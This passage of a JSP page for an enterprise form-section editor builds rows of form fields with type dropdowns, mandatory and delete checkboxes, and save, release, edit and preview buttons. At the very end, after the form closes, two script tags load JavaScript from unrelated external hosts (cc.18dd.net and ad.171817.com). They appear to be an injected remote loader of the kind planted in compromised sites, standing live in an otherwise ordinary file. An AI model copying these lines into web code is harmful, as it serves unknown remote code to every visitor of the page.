   	      <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
   	      <td class="<%=tdStyle%>">
  	        <%if (GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString()) || (!GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString()) && (Utility.isEmpty(tmpFormSection.getID()) || "null".equals(tmpFormSection.getID()) ) ) ){%>
  	          <input type="checkbox" name="delete_<%=formPageID%>_<%=i%>" value="Delete" <%=opIsDelete%>>&nbsp;&nbsp;&nbsp;
            <%}else{%>
              <input type="hidden" name="delete_<%=formPageID%>_<%=i%>" >
            <%}%>
      	  </td>
      	  <td class="<%=tdStyle%>">
      	    <a href="javascript://" onClick="return opAddFieldsMid(<%=formPageID%>,<%=i+1%>);"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
      	  </td>
      	  <%}%>
  </tr>
 
 <!-- form section end -->
 <%}else{      
      if (formObjectList.get(i)!=null) {
        FormElement formElement = (FormElement) formObjectList.get(i); 
        String opMandatory="";
        if ("Y".equals(formElement.getRequiredFlag())) {
          opMandatory = " checked";
        }
        String opIsDelete = "";
        if ("Y".equals(formElement.getIsDelete())) {
          opIsDelete = " checked";
        }
        if (" checked".equals(opIsDeleteAll)){
          opIsDelete = " checked  disabled";
        }       
 %>
  <tr>
    <td class="s2">
	  <nobr>
	    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
	      <a href="javascript://" onClick="javaScript:onSave(<%=formPageID%>,<%=i%>)" ><html:img src='IconDMSOpEdit.gif'  align='absmiddle'/></a> 
	    <%}%>   
	  </nobr>
	  </td>
	  <td class="s2">
      <%=i+1%>:&nbsp;
    </td>
          <td class="s2">
            <nobr>
              <input type="hidden" name="formElementID_<%=formPageID%>_<%=i%>" value="<%=formElement.getID()%>">      
              <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
                <%=formElement.getFieldName()==null? "":formElement.getFieldName().replaceAll("\"", "&quot;")%>
              <input type="hidden" name="formElementName_<%=formPageID%>_<%=i%>" value='<%=formElement.getFieldName()==null? "":TextUtility.htmlEncode(formElement.getFieldName())%>'>&nbsp;&nbsp;&nbsp;
              <%}else{%>
              <input type="text" name="formElementName_<%=formPageID%>_<%=i%>"     value='<%=formElement.getFieldName()==null? "":TextUtility.htmlEncode(formElement.getFieldName())%>' size="25" maxlength="30">&nbsp;&nbsp;&nbsp;
              <%}%>
            </nobr>
          </td>
          <td class="s2">
            <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
                <%if (PULLDOWN_MAP[k][1].equals(formElement.getElementType())) {%>
                  <bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
                <%}%>
              <%}%>      
            <%}else {%>
      	    <!-- The Element in DB,Yes OR No  -->
      	      <%if ((GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) && !Utility.isEmpty(formElement.getID()) ) {%>
	            <select name="formElementType_<%=formPageID%>_<%=i%>"  onchange='javaScript:onSave(<%=formPageID%>,<%=i%>)' >
      		      <%for (int k=0; k<PULLDOWN_MAP_ELEMENT.length; k++) {%>
        	        <%String opSelected = PULLDOWN_MAP_ELEMENT[k][1].equals(formElement.getElementType()) ? " selected" : "";%>
        	          <option value="<%=PULLDOWN_MAP_ELEMENT[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP_ELEMENT[k][0]%>'/>
      		        <%}%>
                </select>         
              <%}else{%>
	            <select name="formElementType_<%=formPageID%>_<%=i%>"  onchange='javaScript:onSave(<%=formPageID%>,<%=i%>)' >
      		      <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
        	        <%String opSelected = PULLDOWN_MAP[k][1].equals(formElement.getElementType()) ? " selected" : "";%>
        	        <option value="<%=PULLDOWN_MAP[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
      		      <%}%>
                </select>         
              <%}%>
            <%}%>
          </td>          
          <td class="s2">	
          <input type="hidden" name="savedFlag_<%=formPageID%>_<%=i%>" />
          <input type="hidden" value="<%=formElement.getOptionNumber()%>" name="selectionOptionNum_<%=formPageID%>_<%=i%>" />  
	        <input type="checkbox" name="mandatory_<%=formPageID%>_<%=i%>"  value="Mandatory" <%=opMandatory%> <%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>>&nbsp;&nbsp;&nbsp;
	      </td>
	      <td class="s2">
	        <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString()) || (!GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString()) && (Utility.isEmpty(formElement.getID()) || "null".equals(formElement.getID())) )) {%>
  	        <input type="checkbox" name="delete_<%=formPageID%>_<%=i%>" value="Delete" <%=opIsDelete%>>&nbsp;&nbsp;&nbsp;
  	      <%}else{%>
            <input type="hidden" name="delete_<%=formPageID%>_<%=i%>" value="" >
          <%}%>
	      </td>
	      <td class="s2">
	        <a href="javascript://" onClick="return opAddFieldsMid(<%=formPageID%>,<%=i+1%>);"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
	      </td>
  </tr>
 <% }
  }
}
 //====================================== Refresh Element & Section End =================
	 
 //====================================== Press Up + Begin ==============================
    if (newFieldSize!=0) {
      for (int i=listSize; i<newFieldSize; i++){
      %>
  <tr>
    <td class="s2">
	    <nobr>
	      <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
	        <a href="javascript://" onClick="javaScript:onSave(<%=formPageID%>,<%=i%>)" ><html:img src='IconDMSOpEdit.gif'  align='absmiddle'/></a> 
	      <%}%>
	    </nobr>
	  </td>
	  <td class="s2">
	    <%=i+1%>:&nbsp;
	  </td>
    <td class="s2">
     <nobr>    
       <input type="hidden" name="formElementID_<%=formPageID%>_<%=i%>" value="">      
       <input type="text" name="formElementName_<%=formPageID%>_<%=i%>"   value="" size="25" maxlength="30">&nbsp;&nbsp;&nbsp;
     </nobr>
    </td>
   <td class="s2">
	   <select name="formElementType_<%=formPageID%>_<%=i%>" onchange='javaScript:onSave(<%=formPageID%>,<%=i%>)'>
       <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
         <option value="<%=PULLDOWN_MAP[k][1]%>"><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
       <%}%>
     </select>
   </td>
   <td class="s2">
   	 <b>   
       <input type="hidden" name="savedFlag_<%=formPageID%>_<%=i%>" />
       <input type="hidden" name="selectionOptionNum_<%=formPageID%>_<%=i%>" />  
	     <input type="checkbox" name="mandatory_<%=formPageID%>_<%=i%>"  value="Mandatory" >&nbsp;&nbsp;&nbsp;
	   </b>
	 </td>
	 <td class="s2">
	 	 <b>
	     <input type="checkbox" name="delete_<%=formPageID%>_<%=i%>" value="Delete" >&nbsp;&nbsp;&nbsp;
     </b>
   </td>
   <td class="s2">
     <a href="javascript://" onClick="return opAddFieldsMid(<%=formPageID%>,<%=i+1%>);"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
   </td>
 </tr>

<script language="Javascript">
<!--   
    if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_PAGE%>" || 
        document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_SECTION%>" || 
        document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_IMAGE%>" || 
        document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_LABEL%>" || 
        document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_CURRENT_DATE%>" || 
        document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"){           
       
       document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=i%>.checked=false;
       document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=i%>.disabled=true;
    }    
   // if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_PAGE%>" || 
     //   document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_SECTION%>"){
  
    //  document.maintFormSectionForm.endRow_<%=formPageID%>_<%=i%>.checked=false;
    //  document.maintFormSectionForm.endRow_<%=formPageID%>_<%=i%>.disabled=true;
    //}
   // if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_PAGE%>" || 
      //    document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_FILE%>" || 
      //    document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_IMAGE%>" || 
      //    document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_LABEL%>" || 
       //   document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_CURRENT_DATE%>" || 
      //    document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"){           

     //  document.maintFormSectionForm.multi_<%=formPageID%>_<%=i%>.checked=false;
     //  document.maintFormSectionForm.multi_<%=formPageID%>_<%=i%>.disabled=true;         
   // }
  //  if (!document.maintFormSectionForm.endRow_<%=formPageID%>_<%=i%>.checked ){
   //     document.maintFormSectionForm.multi_<%=formPageID%>_<%=i%>.checked=false;
    //    document.maintFormSectionForm.multi_<%=formPageID%>_<%=i%>.disabled=true;  
  //  } 
-->
</script>
<%}   
  tmpListTotal=newFieldSize;
 }
  if (tmpListTotal < listSize) {
    tmpListTotal=listSize;
  }
  lastlistSizeTotal += tmpListTotal ;
//================================== Press Up + End ============================================
%>
    <input type="hidden" name="tmpListTotal" value="<%=tmpListTotal%>">
    <input type="hidden" name="listSize_<%=formPageID%>" value="<%=tmpListTotal%>">
</table>
<table>
  <%}//=====================================End of ForLoop1=================================== %>  
  
  <!-- =====================================END Form Element================================== -->
    <input type="hidden" name="lastlistSizeTotal" value="<%=lastlistSizeTotal%>">  
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
</table>

</div>
</div>
  <div id="bottomButtonArea" style="border-top:none;">
    <div id="buttonSection"> 
    <!-- ===============================The Buttons for Actions Handling================================ -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>    	
      <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
      <%if (GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString()) && hasElement){%>
         <html:standardButton label="common.label.release" onClick="return OpCustRelease()"/>
      <%}%>
      <%if (hasElement){      
           boolean isReleased = FormRecord.FORM_STATUS_PENDING.equals(maintFormSectionForm.getStatus()) ? false : true;        
       %>
      <%//}else{%>
      <%}%>
    <%}else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormSectionForm.getOpMode())) {%>
      <logic:permission right='E'>
       <html:permissionButton label="common.label.edit" right='E' objectType="M" objectID="<%=new Integer(maintFormSectionForm.getFormGroupID())%>" link="MaintFormSectionFormElement.do?navMode=E&formRecordID=${maintFormSectionForm.formRecordID}&formGroupID=${maintFormSectionForm.formGroupID}"/>
       <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
       <html:standardButton label="common.label.edit" disable="true"/>
     </logic:permission>
      <%if (GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString()) && hasElement){%>
        <html:standardButton label="common.label.release" onClick="return OpCustReleaseOnly()"/>
      <%}%>
    <%}%>   
    <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)||GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.form_action_preview" onClick="return OpPriviewForm()"/>
    <%}%>   
    <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
       <html:standardButton label="common.label.form_action_preview" link='<%="MaintFormPage.do?navMode="+GlobalConstant.NAV_MODE_VIEW+"&preview=T&function=FORMEDIT&formRecordID=${sessionScope.formRecordID}"%>'/>
    <%}%>  
</div>
</html:form>
                            
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>